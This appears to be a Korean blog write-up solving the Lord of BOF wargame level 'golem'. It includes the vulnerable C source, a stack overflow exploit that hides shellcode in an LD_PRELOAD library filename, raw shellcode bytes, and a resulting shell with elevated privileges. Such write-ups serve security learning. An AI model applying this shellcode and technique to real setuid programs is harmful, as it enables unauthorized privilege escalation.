본문 바로가기

워게임/lord of bof

level 10 -> 11



[skeleton@localhost skeleton]$ ls

golem  golem.c

[skeleton@localhost skeleton]$ cat golem.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


buffer~0xbfffffff까지 전부 0으로 만드네요..


근데 0xbf~ 영역을 사용해야한다고 합니다 


그럼 버퍼 이전에 정의해두는 부분을 노려야겠네요. 찾아보니까 스택영역이랑 힙 영역 사이에 공유 라이브러리 영역이 있더군요. 여기는 초기화가 안되겠네여.


이 공유 라이브러리를 로딩 시키기 위해선 LD_PRELOAD라는 환경 변수를 설정해야합니다. 이게 등록되어있으면 만약 printf()함수를 프로그램이 호출한다..하면 libc를 참조하는게 아니라 LD_PRELOAD에 정의되어있는 라이브러리 내의 함수를 먼저 참조합니다. 그리고 해당 함수가 존재하면 호출하는거죠..


암튼 이걸 이용해서 memset 자체를 되지 않게 하면 어떨까..하고 해봤는데 안되더라구요 끆 뭔가 갖은 수를 써서 해봤는데 안됨 ㅠ 이거 되면 이렇게 풀어도 될 것 같은데 말이죠 흑


그래서 어차피 공유 라이브러리 영역에는 해당 라이브러리의 이름이 적재가 되니까 이름에 쉘코드를 박아보기로 했습니다. 뭔가 쉘코드도 잘 안박혀서 고생이 ㅡㅡ; 쉘코드도 몇번 바꿔보고 했는데도 삐걱삐걱..


어찌어찌 만들기 성공하고 테스트 겸 인자로 `perl -e 'print "A"x44, "\xf4\xf5\xff\xbf"'` 했는데 안되네요?!..


이유를 알아보기로 했습니다. 일단 안된다.. 라는게 stack is still your friend라는 메세지가 떴는데 저게 인자로 받은 마지막 바이트가 \xbf여야한다는 말이잖아여 그런데 안되는건 확실히 문제가 있다는거겠죠..

 

원래 파란 부분이 주소가 담겨있어야하는데 0xff가 들어가야 할 곳이 0x00이네요 왜죠;

이걸로 몇시간 허비하다가 구글에 애매모호한 검색어로 쳐봤는데 bash쉘에선 그렇다네여..


알고보니 제가 bash2 켜고 한줄알았는데 bash 켜고 한거였음 아이고

원인은...bash 1.14가 0xff를 인식못한다고하네여.. 그래서 0xff == 0x00처럼 인식된다고함.

아무튼 다시해줍시다..


[skeleton@localhost test]$ cat test.c 

#include <stdio.h>

void asd(){}

[skeleton@localhost test]$ gcc -fPIC -shared test.c -o `perl -e 'print "/home/skeleton/test/", "\x90"x100, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3", "\x90"x100'`

[skeleton@localhost test]$ export LD_PRELOAD=`perl -e 'print "/home/skeleton/test/", "\x90"x100, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3", "\x90"x100'`

[skeleton@localhost test]$ ls

2핽i????????????????????????????????????????????????????????????????????????????????????????????????????h?須?h?SThjo???i0chi0tij?Y??Iy?投T


참고로 정상적으로 LD_PRELOAD에 박혔다면 명령어가 평상시처럼 작동합니다. 잘 안됫으면 명령어가 안먹혀요 라이브러리 어쩌고했었는데 까먹음..


앞에 nop도 충분히 박았고 이제 에러 안터지니까 금방금방 찾을 수 있겠네요. 아까는 bash의 영향에서인지 쉘코드도 제대로 안먹혀서 고생을... 아무튼 약간 다를 수 있겠지만 마지막 memset() 이후 기준으로 esp-0x500 쯔음에서 LD_PRELOAD로 등록되어있는 값을 찾을 수 있습니다.


적당히 0xbffff4d0 에서 시도해보죠


[skeleton@localhost test]$ ./golem `perl -e 'print "A"x44, "\xd0\xf4\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA奇

bash$ id

uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)

bash$ 


잘되네요 안심 ㅡㅡ; 이제 옮겨줍시다.


[skeleton@localhost skeleton]$ ./golem `perl -e 'print "A"x44, "\xd0\xf4\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA奇

bash$ id

uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)

bash$ my-pass

euid = 511

cup of coffee

bash$ 


이 문제를 계기로 더 이상의 노가다가 두렵지 않습니다...ㅋ



'워게임 > lord of bof' 카테고리의 다른 글

level 12 -> 13  (0) 2015.10.23
level 11 -> 12  (0) 2015.10.23
level 9 -> 10  (0) 2015.10.23
level 8 -> 9  (0) 2015.10.23
level 7 -> 8  (0) 2015.10.23